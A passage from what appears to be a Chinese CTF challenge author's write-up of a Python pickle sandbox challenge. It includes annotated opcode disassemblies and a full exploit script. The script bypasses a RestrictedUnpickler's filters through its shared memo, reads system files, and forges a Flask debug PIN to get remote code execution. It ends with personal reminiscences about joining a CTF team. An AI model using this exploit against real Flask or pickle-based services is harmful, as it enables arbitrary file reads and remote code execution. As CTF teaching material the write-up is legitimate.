<\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>pickle = RestrictedUnpickler()<\/code><\/span><span class=\"md-plain\"> \u8fd9\u4e00\u4e2a\u5b9e\u4f8b\uff0c\u4e5f\u5c31\u662f\u8bf4 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>self.memo<\/code><\/span><span class=\"md-plain\"> \u5728\u8fd9\u56db\u4e2a challenge \u4e2d\u662f\u4f1a<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u4fdd\u7559<\/span><\/strong><\/span><span class=\"md-plain\">\u7684\uff0c\u4e14\u4e0d\u540c challenge \u53ef\u4ee5\u5728\u540c\u4e00\u8bf7\u6c42\u5185\u88ab\u6309\u987a\u5e8f\u4f9d\u6b21\u6267\u884c\uff08\u53ea\u8981\u6709 chall{id} \u8fd9\u4e2a\u53c2\u6570\uff09\uff1b\u4e8e\u662f\u5229\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>self.memo<\/code><\/span> <span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u4f20\u9012\u6570\u636e<\/span><\/strong><\/span><span class=\"md-plain\">\uff0c\u5728\u524d\u4e09\u4e2a challenge \u4e2d\u5229\u7528\u5404\u79cd\u65b9\u6cd5\u7ed5\u8fc7 waf \u521b\u5efa\u975e\u6cd5\u5b57\u7b26\u4e32\u5e76\u5b58\u8fdb <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>self.memo<\/code><\/span><span class=\"md-plain\"> \u4e2d\uff0c\u5728\u7b2c\u56db\u4e2a challenge \u4e2d\u53d6\u51fa\u4ee5 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>NEWOBJ_EX<\/code><\/span><span class=\"md-plain\"> \u6267\u884c\u51fd\u6570\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u5206\u6790\u5f97\u51fa\u9700\u8981 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>builtins map frozenset main failed raw_file ..\/..\/filepath<\/code><\/span><span class=\"md-plain\"> \u8fd9\u51e0\u4e2a\u5b57\u7b26\u4e32\uff0c\u524d\u4e24\u4e2a challenge \u63d0\u4ea4<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u957f\u5ea6\u9650\u5236<\/span><\/strong><\/span><span class=\"md-plain\">\u8fc7\u7d27\uff0c\u6545\u5728 challenge 3 \u4e2d\u6784\u9020 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>BuIltIns frOzenset maIn faIled raw\\\\u005ffIle ..\/..\/filepath<\/code><\/span><span class=\"md-plain\"> \u5e76\u4f9d\u6b21\u5b58\u5165 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>self.memo<\/code><\/span><span class=\"md-plain\"> \uff0c\u6700\u540e\u4e0d\u5fd8\u6ee1\u8db3 challenge 3 \u7684\u901a\u5173\u6761\u4ef6\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:python decode:true \">    0: V    UNICODE    'BuIltIns'\r\n   10: p    PUT        0\r\n   13: V    UNICODE    'frOzenset'\r\n   24: p    PUT        2\r\n   27: V    UNICODE    'maIn'\r\n   33: p    PUT        3\r\n   36: V    UNICODE    'faIled'\r\n   44: p    PUT        4\r\n   47: V    UNICODE    'raw_fIle' # raw\\\\u005ffIle\r\n   62: p    PUT        5\r\n   65: S    STRING     '..\/..\/proc\/sys\/kernel\/random\/boot_id'\r\n            # '..\/..\/pr\\\\x6fc\/sys\/kernel\/rand\\\\x6fm\/\\\\x62\\\\x6f\\\\x6ft\\\\x5f\\\\x69d'\r\n  126: p    PUT        6\r\n  129: }    EMPTY_DICT\r\n  130: p    PUT        7\r\n  133: c    GLOBAL     'maIn guIdance'\r\n  148: .    STOP\r\nhighest protocol among opcodes = 1<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u8fd9\u91cc\u4ee5\u83b7\u53d6 debug pin \u9700\u8981\u8bfb\u53d6\u7684\u6700\u957f\u7684\u6587\u4ef6\u540d <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>..\/..\/proc\/sys\/kernel\/random\/boot_id<\/code><\/span><span class=\"md-plain\"> \u4e3a\u4f8b\uff0c\u53ef\u4ee5\u53d1\u73b0 150 \u7684\u5b57\u7b26\u9650\u5236\u8fd8\u662f\u5f88\u5403\u7d27\u7684\u3002\u91c7\u7528\u7684\u4f18\u5316\u63aa\u65bd\u5305\u62ec\uff1a<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">map \u5b8c\u5168\u5408\u6cd5<\/span><\/strong><\/span><span class=\"md-plain\">\uff0c\u6545\u653e\u5230 challenge 4 \u4e2d\u6784\u9020\uff1b\u76f4\u63a5\u4f7f\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>c<\/code><\/span><span class=\"md-plain\"> (GLOBAL) \u5b57\u8282\u6307\u4ee4\u5f15\u5165\u540e\u518d\u653e\u5165 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>self.memo<\/code><\/span><span class=\"md-plain\"> \u4f1a\u663e\u8457\u5730\u8d85\u51fa\u5141\u8bb8\u7684\u63d0\u4ea4\u957f\u5ea6\uff0c\u6545<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u4ec5\u5b58\u50a8\u5b57\u7b26\u4e32<\/span><\/strong><\/span><span class=\"md-plain\">\uff1b\u5728\u6ca1\u6709\u8f6c\u4e49\u7684\u60c5\u51b5\u4e0b\uff0c\u4f7f\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>V<\/code><\/span><span class=\"md-plain\"> \u5b57\u8282\u6307\u4ee4\u5f15\u5165\u5b57\u7b26\u4e32\u6bd4 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>S<\/code><\/span> <span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u8282\u7701 1 \u5b57\u8282<\/span><\/strong><\/span><span class=\"md-plain\">\uff1b\u5728\u6709\u591a\u4e2a\u8f6c\u4e49\u7684\u60c5\u51b5\u4e0b\uff0c\u4f7f\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\\\\xCC<\/code><\/span><span class=\"md-plain\"> + <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>S<\/code><\/span><span class=\"md-plain\"> \u5b57\u8282\u6307\u4ee4\u5f15\u5165\u5b57\u7b26\u4e32\u6bd4\u4f7f\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\\\\u00CC<\/code><\/span><span class=\"md-plain\"> + <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>V<\/code><\/span> <span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u8282\u7701\u591a\u4e2a\u5b57\u8282<\/span><\/strong><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u540c\u65f6\u6ce8\u610f\u5230\uff0c\u4f5c\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>NEWOBJ_EX<\/code><\/span><span class=\"md-plain\"> \u53c2\u6570\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>**kwargs<\/code><\/span><span class=\"md-plain\"> \u65e0\u6cd5\u4f7f\u7528\u975e ascii \u5b57\u7b26\u6784\u9020\uff0c\u6545\u8fd8\u9700\u8981\u63d0\u524d<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u5b58\u50a8\u4e00\u4e2a\u7a7a dict<\/span><\/strong><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u800c challenge 4 \u5c31\u4e0d\u9700\u8981\u8fd9\u4e48\u7d27\u5f20\u4e86\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:python decode:true \">memo = {\r\n  0: 'BuIltIns',\r\n  2: 'frOzenset',\r\n  3: 'maIn',\r\n  4: 'faIled',\r\n  5: 'raw_fIle',\r\n  6: '..\/..\/proc\/sys\/kernel\/random\/boot_id',\r\n  7: {},\r\n}\r\n\r\n    0: \\x8c SHORT_BINUNICODE 'map'\r\n    5: q    BINPUT     1\r\n# memo.update(1, 'map')\r\n    7: h    BINGET     0\r\n# stack: ['BuIntIns']\r\n    9: h    BINGET     2\r\n# stack: ['BuIntIns', 'frOzenset']\r\n   11: \\x93 STACK_GLOBAL\r\n# stack: [class&lt;frozenset&gt;]\r\n   12: h    BINGET     0\r\n   14: h    BINGET     1\r\n   16: \\x93 STACK_GLOBAL\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;]\r\n   17: h    BINGET     3\r\n   19: h    BINGET     4\r\n   21: \\x93 STACK_GLOBAL\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;, function&lt;failed&gt;]\r\n   22: h    BINGET     0\r\n   24: h    BINGET     2\r\n   26: \\x93 STACK_GLOBAL\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;, function&lt;failed&gt;, class&lt;frozenset&gt;]\r\n   27: h    BINGET     0\r\n   29: h    BINGET     1\r\n   31: \\x93 STACK_GLOBAL\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;, function&lt;failed&gt;, class&lt;frozenset&gt;, class&lt;map&gt;]\r\n   32: h    BINGET     3\r\n   34: h    BINGET     5\r\n   36: \\x93 STACK_GLOBAL\r\n# stack: [...(4), class&lt;map&gt;, function&lt;raw_file&gt;]\r\n   37: h    BINGET     6\r\n# stack: [...(4), class&lt;map&gt;, function&lt;raw_file&gt;, 'filepath']\r\n   39: \\x85 TUPLE1\r\n# stack: [...(4), class&lt;map&gt;, function&lt;raw_file&gt;, ('filepath',)]\r\n   40: \\x86 TUPLE2\r\n# stack: [...(4), class&lt;map&gt;, (function&lt;raw_file&gt;, ('filepath',),)]\r\n   41: h    BINGET     7\r\n# stack: [...(4), class&lt;map&gt;, (function&lt;raw_file&gt;, ('filepath',),), {}]\r\n   43: \\x92 NEWOBJ_EX\r\n# stack: [...(3), class&lt;frozenset&gt;, class&lt;map&gt;()]\r\n   44: \\x85 TUPLE1\r\n# stack: [...(3), class&lt;frozenset&gt;, (class&lt;map&gt;(),)]\r\n   45: h    BINGET     7\r\n# stack: [...(3), class&lt;frozenset&gt;, (class&lt;map&gt;(),), {}]\r\n   47: \\x92 NEWOBJ_EX\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;, function&lt;failed&gt;, class&lt;frozenset&gt;('content')]\r\n   48: \\x85 TUPLE1\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;, function&lt;failed&gt;, (...('content'),)]\r\n   49: \\x86 TUPLE2\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;, (function&lt;failed&gt;, (...('content'),),)]\r\n   50: h    BINGET     7\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;, (function&lt;failed&gt;, (...('content'),),), {}]\r\n   52: \\x92 NEWOBJ_EX\r\n# stack: [class&lt;frozenset&gt;, class&lt;map&gt;()]\r\n   53: \\x85 TUPLE1\r\n# stack: [class&lt;frozenset&gt;, (class&lt;map&gt;(),)]\r\n   54: h    BINGET     7\r\n# stack: [class&lt;frozenset&gt;, (class&lt;map&gt;(),), {}]\r\n   56: \\x92 NEWOBJ_EX    # &lt;------&lt; exception TryHarder() is raised here &lt;------&lt;\r\n# stack: [class&lt;frozenset&gt;(failed())]\r\n   57: \\x80 PROTO      4\r\n   59: \\x88 NEWTRUE\r\n   60: .    STOP\r\nhighest protocol among opcodes = 4<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain md-expand\">\u5728 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>http:\/\/web:8888\/chall<\/code><\/span><span class=\"md-plain\"> \u5904\u63d0\u4ea4\u5982\u4e0a\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>chall3={c3.hex()}&amp;chall4={c4.hex()}<\/code><\/span><span class=\"md-plain\"> \u5373\u53ef\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6700\u540e\uff0c\u4ec5\u9700\u8bfb\u53d6 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\/sys\/class\/net\/eth0\/address   \/proc\/sys\/kernel\/random\/boot_id   \/proc\/self\/cgroup<\/code><\/span><span class=\"md-plain\"> \u8fd9\u4e09\u4e2a\u6587\u4ef6\uff0c\u5e76\u4f7f\u7528\u9ed8\u8ba4\u503c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>'nobody'   'flask.app'   'Flask'   '\/usr\/local\/lib\/python3.11\/site-packages\/flask\/app.py'<\/code><\/span><span class=\"md-plain\"> \uff0c\u5373\u53ef\u8ba1\u7b97\u51fa <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">debug pin<\/span><\/strong><\/span><span class=\"md-plain\">\uff0c\u5b8c\u6210 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">RCE<\/span><\/strong><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u4ee5\u4e0b\u4e3a\u83b7\u53d6 debug pin \u7684 payload\uff1a\uff08\u81f3\u4e8e\u4e4b\u540e\u7684 RCE + \/readflag \u8fc7\u7a0b\uff0c\u5c31\u4e0d\u9700\u8981\u8d58\u8ff0\u4e86\u5427\uff1f\uff09<\/span><\/p>\n<pre class=\"lang:python decode:true \">import string\r\nimport struct\r\nimport requests\r\n\r\nurl = 'http:\/\/web:8888\/chall'\r\n\r\n# ;\r\ndef POP():\r\n  return b'0'\r\n\r\ndef TO_MEMO(i: int):\r\n  return b'p' + str(i).encode() + b'\\n'\r\n\r\ndef PUSH_STRV(s: str):\r\n  return b'V' + s.encode() + b'\\n'\r\n\r\ndef PUSH_STRS(s: str):\r\n  return b'S\\'' + s.encode() + b'\\'\\n'\r\n\r\ndef EMPTY_DICT():\r\n  return b'}'\r\n\r\n# ;\r\n\r\ndef FROM_MEMO(i: int):\r\n  assert(i &lt; 0xFF and chr(i) not in string.printable)\r\n  return b'h' + bytes([i])\r\n\r\ndef nTO_MEMO(i: int):\r\n  assert(i &lt; 0xFF and chr(i) not in string.printable)\r\n  return b'q' + bytes([i])\r\n\r\ndef nPUSH_STR(s: str):\r\n  return b'\\x8c' + bytes([len(s.encode())]) + s.encode()\r\n\r\ndef GLOBAL():\r\n  return b'\\x93'\r\n\r\ndef NEWOBJ():\r\n  return b'\\x92'\r\n\r\ndef BTUPLE(i: int):\r\n  match i:\r\n    case 1: return b'\\x85'\r\n    case 2: return b'\\x86'\r\n    case 3: return b'\\x87'\r\n    case _: assert(False)\r\n# ;\r\n\r\no1 = b'I01\\n.'\r\no2 = b'(dVuser\\nVadm\\\\u0069n\\ns.'\r\no3 = b'cmaIn\\nguIdance\\n.'\r\no4 = b'\\x80\\x04\\x88.'\r\n\r\ndef getfile(file: str):\r\n  file = file.replace('i', '\\\\x69').replace('o', '\\\\x6f')\r\n\t\t\t.replace('b', '\\\\x62').replace('_', '\\\\x5f')\r\n  # ;\r\n  c3 = b''\r\n  fmsv = lambda s, i: PUSH_STRV(s) + TO_MEMO(i) #+ POP()\r\n  fmss = lambda s, i: PUSH_STRS(s) + TO_MEMO(i) #+ POP()\r\n  c3 += fmsv('BuIltIns',       0)\r\n  #c3 += fmsv('map',            1)\r\n  c3 += fmsv('frOzenset',      2)\r\n  c3 += fmsv('maIn',           3)\r\n  c3 += fmsv('faIled',         4)\r\n  c3 += fmsv('raw\\\\u005ffIle', 5)\r\n  c3 += fmss('..\/..' + file,   6)\r\n  c3 += EMPTY_DICT() + TO_MEMO(7) #+ POP()\r\n  c3 += o3 # be stingy with total length\r\n  assert(len(c3) &lt;= 150)\r\n  # ;\r\n  c4 = b''\r\n  nfms = lambda s, i: nPUSH_STR(s) + nTO_MEMO(i)\r\n  c4 += nfms('map',            1)\r\n  fmc = lambda m, n: FROM_MEMO(m) + FROM_MEMO(n) + GLOBAL()\r\n  c4 += fmc(0, 2) + fmc(0, 1)\r\n  c4 += fmc(3, 4) # --&gt;\r\n  c4 += fmc(0, 2) + fmc(0, 1)\r\n  c4 += fmc(3, 5) + FROM_MEMO(6) + BTUPLE(1) + BTUPLE(2) + FROM_MEMO(7)\r\n  c4 += NEWOBJ() + BTUPLE(1) + FROM_MEMO(7)\r\n  c4 += NEWOBJ() # &lt;--\r\n  c4 += BTUPLE(1) + BTUPLE(2) + FROM_MEMO(7)\r\n  c4 += NEWOBJ() + BTUPLE(1) + FROM_MEMO(7)\r\n  c4 += NEWOBJ()\r\n  c4 += o4\r\n  assert(len(c4) &lt;= 200)\r\n  # ;\r\n  data = {'chall3': c3.hex(), 'chall4': c4.hex()}\r\n  res = requests.post(url, data)\r\n  return res.text.split(\"frozenset({'\")[1].split(\"'})\")[0]\r\n\r\n# ;\r\nppb = [\r\n  'nobody',     # username,\r\n  'flask.app',  # modname,\r\n  'Flask',      # getattr(app, \"__name__\", type(app).__name__),\r\n  '',           # getattr(mod, \"__file__\", None),\r\n]\r\npb = [\r\n  '', # str(uuid.getnode()),\r\n  '', # get_machine_id()\r\n]\r\nppb[3] = '\/usr\/local\/lib\/python3.11\/site-packages\/flask\/app.py'\r\npb[0] = getfile('\/sys\/class\/net\/eth0\/address').split('\\\\n')[0]\r\npb[0] = str(int(pb[0].replace(':', ''), 16))\r\npb[1] = getfile('\/proc\/sys\/kernel\/random\/boot_id').split('\\\\n')[0].strip()\r\npb[1] += getfile('\/proc\/self\/cgroup').split('\\\\n')[0].strip().rpartition('\/')[2]\r\nprint(ppb); print(pb)\r\n\r\ndef getpin():\r\n  from itertools import chain\r\n  import hashlib\r\n  h = hashlib.sha1()\r\n  for bit in chain(ppb, pb):\r\n    if not bit:\r\n      continue\r\n    if isinstance(bit, str):\r\n      bit = bit.encode(\"utf-8\")\r\n      h.update(bit)\r\n  h.update(b\"cookiesalt\")\r\n  h.update(b\"pinsalt\")\r\n  num = f\"{int(h.hexdigest(), 16):09d}\"[:9]\r\n  for group_size in 5, 4, 3:\r\n    if len(num) % group_size == 0:\r\n      rv = \"-\".join(\r\n        num[x : x + group_size].rjust(group_size, \"0\")\r\n        for x in range(0, len(num), group_size)\r\n      )\r\n      break\r\n    else:\r\n      rv = num\r\n  return rv\r\n\r\n# ;\r\nprint('debug pin', getpin())<\/pre>\n<p>\u51fa\u9898\u540e\u8bdd\uff1a\u67d0\u573a\u6bd4\u8d5b\u4e2d\u4e00\u4e0d\u5c0f\u5fc3\u975e\u9884\u671f\u4e86 R i o b \u7684\u67d0\u9053 pickle \u9898\uff0c\u8fd9\u91cc\u7b97\u662f\u4e00\u4e2a\u52a0\u5f3a\u7248\u3002\u521a\u5f00\u59cb\u7684\u60f3\u6cd5\u662f\u5f04\u4e00\u4e2a\u9700\u8981\u7efc\u5408\u5404\u4e2a\u90e8\u5206\u6765\u201c\u524d\u540e\u914d\u5408\u201d\u7684\u89e3\u6cd5\uff0c\u6ca1\u60f3\u5230 self.memo \u521a\u597d\u4e0e\u5b83\u4e0d\u8c0b\u800c\u5408\uff0c\u6240\u4ee5\u6211\u5e38\u8bf4\u4e0d\u662f\u5b83\u53d1\u73b0\u4e86 self.memo\uff0c\u800c\u662f self.memo \u627e\u4e0a\u4e86\u5b83\u3002\u5173\u4e8e\u5b57\u7b26\u9650\u5236\uff0c\u521a\u5f00\u59cb\u53ea\u662f\u968f\u4fbf\u6253\u4e86\u4e2a\u6570 150\uff0c\u4e5f\u6ca1\u60f3\u5230\u6784\u9020\u51fa\u6765\u4f1a\u5361\u5f97\u8fd9\u4e48\u7d27\uff0c\u90a3\u5c31\u987a\u5176\u81ea\u7136\u5427\u3002\u81f3\u4e8e\u5927\u91cf\u91cd\u590d\u51fa\u73b0\u7684 Lord \u4ec0\u4e48\u7684 God \u4ec0\u4e48\u7684\uff0c\u5176\u5b9e\u662f\u5728\u641c\u8feb\u771f\u540d\u8a00\u8b66\u53e5\u7684\u65f6\u5019\u5076\u7136\u70b9\u8fdb\u4e86 Bible \u7684\u94fe\u63a5\uff0c\u4e3a\u4e86\u4e0a\u4e0b\u6587\u7edf\u4e00\u5c31\u53d8\u6210\u4e86\u8fd9\u6837\uff1b\u5176\u5b9e\u653e\u70b9\u4ec0\u4e48\u90fd\u884c\uff0c\u53ea\u8981\u4e0d\u662f\u7a7a\u7740\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p>\u8bf4\u8d77\u672c\u4eba\u6b63\u5f0f\u5165\u5751 CTF \u7684\u5951\u673a\uff0c\u5176\u5b9e\u4e5f\u633a\u6709\u8da3\u7684\u3002\u5176\u4e00\u662f\u5728\u5e73\u5e38\u7edd\u5bf9\u4e0d\u4f1a\u53bb\u7684\u67d0\u98df\u5802\u5e72\u5b8c\u996d\u540e\uff0c\u5076\u7136\u95f4\u53d1\u73b0\u4e86\u88ab\u968f\u610f\u6446\u653e\u5728\u51fa\u53e3\u89d2\u843d\u3001\u5df2\u7ecf\u6cbe\u7070\u4e86\u7684\u62db\u65b0\u770b\u677f\uff1b\u6b64\u65f6\u624d\u7b2c\u4e00\u6b21\u771f\u5207\u5730\u8ba4\u8bc6\u5230\uff0c\u554a\uff0c\u539f\u6765\u5b66\u6821\u91cc\u8fd8\u6709\u8fd9\u6837\u4e00\u652f\u961f\u4f0d\u554a\u3002\u8fd9\u4e48\u8bf4\u8c8c\u4f3c\u6709\u70b9\u4e0d\u5927\u597d\uff0c\u4f46\u6bd5\u7adf\u662f\u5728\u4e0d\u540c\u7684\u6821\u533a\u3002\u5176\u5b9e\u4ed4\u7ec6\u60f3\u8fc7\u53bb\u80af\u5b9a\u80fd\u53d1\u73b0\u662f\u6709\u7684\uff0c\u8981\u627e\u7684\u8bdd\u4e5f\u4e0d\u53ef\u80fd\u627e\u4e0d\u5230\uff0c\u53ea\u662f\u4e4b\u524d\u4ece\u6765\u6ca1\u6709\u4ea7\u751f\u8fc7\u8fd9\u6837\u7684\u51b2\u52a8\uff1b\u65e2\u7136\u9047\u5230\u4e86\u90a3\u5c31\u662f\u7f18\u5206\uff0c\u8bb0\u5f55\u4e0b\u8054\u7cfb\u65b9\u5f0f\uff0c\u505a\u4e86\u51e0\u5929\u8feb\u771f\u7684\u5fc3\u7406\u51c6\u5907\uff0c\u51ed\u501f\u4ee5\u524d\u4e71\u641e\u7559\u4e0b\u7684\u5e95\u5b50\uff0c\u987a\u5229\u8f6c\u6b63\u3002\u5176\u4e8c\u662f\u5728\u67d0\u4e2a\u666e\u901a\u7684\u65e5\u5b50\uff0c\u5b66\u957f\u4eec\u5e26\u6211\u6253 CTF \u6bd4\u8d5b\uff0c\u524d\u4e00\u5929\u53ef\u80fd\u662f\u73a9\u901a\u5bb5\u4e86\u8fd8\u662f\u548b\u7684\uff0c\u7ed3\u675f\u65f6\u665a\u4e0a\u516d\u70b9\u591a\u6709\u70b9\u56f0\u4e86\uff0c\u5c0f\u61a9\u4e00\u4f1a\u51c6\u5907\u63a5\u4e0b\u6765\u7684 ACM \u62db\u65b0\u9009\u62d4\u3002\u60f3\u7740\u772f\u4e00\u4f1a\u5c31\u6ca1\u8bbe\u95f9\u949f\uff0c\u6ce8\u610f\u8fd9\u662f\u4f0f\u7b14\uff0c\u7136\u540e\u4e00\u89c9\u9192\u6765\u53d1\u73b0\u8fd8\u6709 20 \u5206\u949f\u7ed3\u675f\uff0c\u6d41\u6c57\u9ec4\u8c46\uff0c\u614c\u614c\u5fd9\u5fd9\u5f00\u673a\u4e0a\u53f7\uff0c\u6700\u540e\u7684\u5165\u961f\u6807\u51c6\u662f A 4 \u4e2a\u9898\u597d\u50cf\uff0c\u524d\u4fe9\u4e00\u904d\u8fc7\uff0c\u7b2c\u56db\u8c03\u4e86\u4e00\u4e0b\u4e5f\u8fc7\uff0c\u7559\u7ed9\u7b2c\u4e09\u7684\u65f6\u95f4\u5df2\u7ecf\u4e0d\u591a\u4e86\uff0c\u4e00\u5c40\u5b9a\u80dc\u8d1f\u3002\u7b2c\u4e00\u53d1\u597d\u50cf CE \u4e86\u6765\u7740\uff0c\u641e\u5f97\u5f88\u5c34\u5c2c\uff1b\u6700\u540e\u7684\u7ed3\u679c\u76f8\u4fe1\u5404\u4f4d\u4e5f\u5df2\u7ecf\u731c\u5230\u4e86\uff0c\u90a3\u5c31\u662f\u4ee4\u4eba\u6094\u6068\u7684 WA\uff0c\u5f88\u9057\u61be\u5730 fail \u4e86\u62db\u65b0\u9009\u62d4\u3002\u6211\u5c06\u5176\u79f0\u4e4b\u4e3a\u201c\u7f18\u5206\u672a\u5230\u201d\uff0c\u4e5f\u5c31\u6ca1\u6709\u523b\u610f\u5730\u518d\u53bb\u4e89\u53d6\u4e86\uff1b\u5982\u679c\u8fdb\u4e86 ACM \u96c6\u8bad\uff0c\u90a3\u5c06\u4f1a\u6d88\u8017\u7edd\u5927\u591a\u6570\u7684\u65f6\u95f4\uff0cCTF \u8fd9\u65b9\u9762\u5e94\u8be5\u4e5f\u5c31\u4f1a\u7a0d\u5fae\u653e\u653e\u4e86\u5427\u3002\u4e0d\u8fc7\u8fd9\u4e48\u8bf4\u5012\u662f\u81ea\u5df1\u90fd\u6709\u70b9\u4e0d\u597d\u610f\u601d\uff0c\u73b0\u5728\u5176\u5b9e\u4e5f\u5c31\u5b66\u957f\u5e26\u7740\u6df7\u6df7\u6bd4\u8d5b\uff0c\u5e73\u65f6\u8be5\u5e72\u5565\u5e72\u5565\uff1b\u8fdb\u4e86 ACM \u53ef\u80fd\u4f1a\u51cf\u5c11 CTF \u7684\u65f6\u95f4\uff0c\u4f46\u6ca1\u8fdb ACM \u7ed3\u679c\u7559\u7ed9 CTF \u7684\u65f6\u95f4\u597d\u50cf\u4e5f\u6ca1\u6709\u589e\u52a0\uff0c\u539f\u6765\u8fd9\u5c31\u662f\u6478\u9c7c\u751f\u6d3b\uff0c\u5e78\u597d\u5f53\u521d\u6ca1\u8fdb ACM \u96c6\u8bad\uff0c\u7f18\uff0c\u5999\u4e0d\u53ef\u8a00\u3002<\/p>\n<p>\u597d\u50cf\u8dd1\u5f97\u6709\u70b9\u504f\u4e86\uff0c\u56de\u5230\u4e3b\u9898\u3002\u6bd5\u7adf\u662f\u7b2c\u4e00\u6b21\u5c1d\u8bd5\u51fa\u9898\uff0c\u5c3d\u53ef\u80fd\u5730\u907f\u514d\u4e86\u9e21\u808b\u3001\u94bb\u725b\u89d2\u5c16\u7684\u60c5\u51b5\uff0c\u4e5f\u4e0d\u77e5\u9053\u5b9e\u9645\u4e0a\u6709\u6ca1\u6709\u505a\u5230\uff0c\u4f46\u5982\u679c\u662f\u81ea\u5df1\u5728\u9047\u5230\u8fd9\u4e9b\u60c5\u51b5\u65f6\uff0c\u7ecf\u8fc7\u4e00\u6bb5\u65f6\u95f4\u7684\u6478\u7d22\u548c\u7ec3\u4e60\uff0c\u8fd8\u662f\u6bd4\u8f83\u6709\u5e0c\u671b\u80fd\u7ed9\u51fa\u9884\u671f\u89e3\u7684\u3002\u9898\u4e00\u9700\u8981\u6ce8\u610f\u5230 SELECT \u8fd4\u56de\u4e8c\u7ef4\u6570\u7ec4\u4e0e\u53ef\u80fd\u7684\u539f\u578b\u94fe\u6c61\u67d3\u4e4b\u95f4\u7684\u5173\u7cfb\uff0c\u53ef\u80fd\u7684\u6b6a\u8def\u6709\u5c1d\u8bd5\u653b\u7834\u53ea\u8bfb\u7684 mariadb\uff0c\u867d\u7136\u90fd\u5df2\u7ecf\u653e\u53ea\u8bfb\u4e86\uff0c\u8fd8\u6709\u524d\u7aef\u7684\u903b\u8f91\u6f0f\u6d1e\uff0c\u867d\u7136\u5df2\u7ecf\u63d0\u793a\u975e\u6f0f\u6d1e\u70b9\u4e86\uff0c\u7b49\u7b49\u3002\u9898\u4e8c\u9700\u8981\u6709\u660e\u786e\u7684\u601d\u8def\uff0c\u6c61\u67d3\u6a21\u677f+\u539f\u751f\u7c7b\u76ee\u5f55\u904d\u5386+\u8fc7\u6ee4\u7ed5\u8fc7\uff0c\u5176\u4f59\u7684\u6bcf\u4e00\u79cd\u65b9\u6cd5\u90fd\u88ab\u5c01\u9501\u4e86\uff0c\u7406\u8bba\u4e0a\u662f\u8fd9\u6837\uff0c\u53ef\u80fd\u4f1a\u82b1\u4e0a\u4e00\u4e9b\u65f6\u95f4\u63a2\u7d22\uff0c\u8981\u662f\u6b7b\u78d5\u5728\u4e00\u6761\u6b6a\u8def\u4e0a\u5c31\u7cdf\u7cd5\u4e86\u3002\u9898\u4e09\u7684\u8ff7\u60d1\u6027\u5f88\u5f3a\uff0c\u4f46\u662f\u4eb2\u5207\u5730\u7ed9\u4e86 hint.txt\uff0c\u55ef\uff0c\u5e94\u8be5\u662f\u6ca1\u95ee\u9898\u7684\uff0c\u9700\u8981\u53d1\u73b0 loads() \u4e0e self.memo \u662f\u89e3\u9898\u7684\u4e00\u5927\u5173\u952e\u70b9\uff0c\u4e3a\u6b64\u5f97\u89e6\u53d1\u5404\u79cd\u4e0d\u540c\u7684\u9519\u8bef\u6765\u5c3d\u53ef\u80fd\u5730\u591a\u7206\u51fa\u4e00\u70b9\u6e90\u4ee3\u7801\uff0c\u53e6\u5916 150 